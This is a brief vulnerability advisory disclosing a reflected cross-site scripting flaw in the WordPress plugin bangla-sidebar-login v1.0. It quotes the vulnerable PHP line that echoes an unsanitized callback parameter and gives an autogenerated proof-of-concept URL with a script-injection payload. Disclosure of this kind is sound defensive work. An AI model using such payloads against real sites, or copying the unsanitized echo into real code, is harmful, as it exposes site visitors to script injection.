Advisory #: 241
Title: Reflected XSS in wordpress plugin bangla-sidebar-login v1.0
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/bangla-sidebar-login
Downloads: 1612
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: bangla-sidebar-login
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./bangla-sidebar-login/bn-sidebar-login.php: 295: echo $_GET['callback'] . '(' . json_encode($result) . ')'; The variable callback appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./bangla-sidebar-login/bn-sidebar-login.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/bangla-sidebar-login/bn-sidebar-login.php?callback="><script>alert(1);</script><"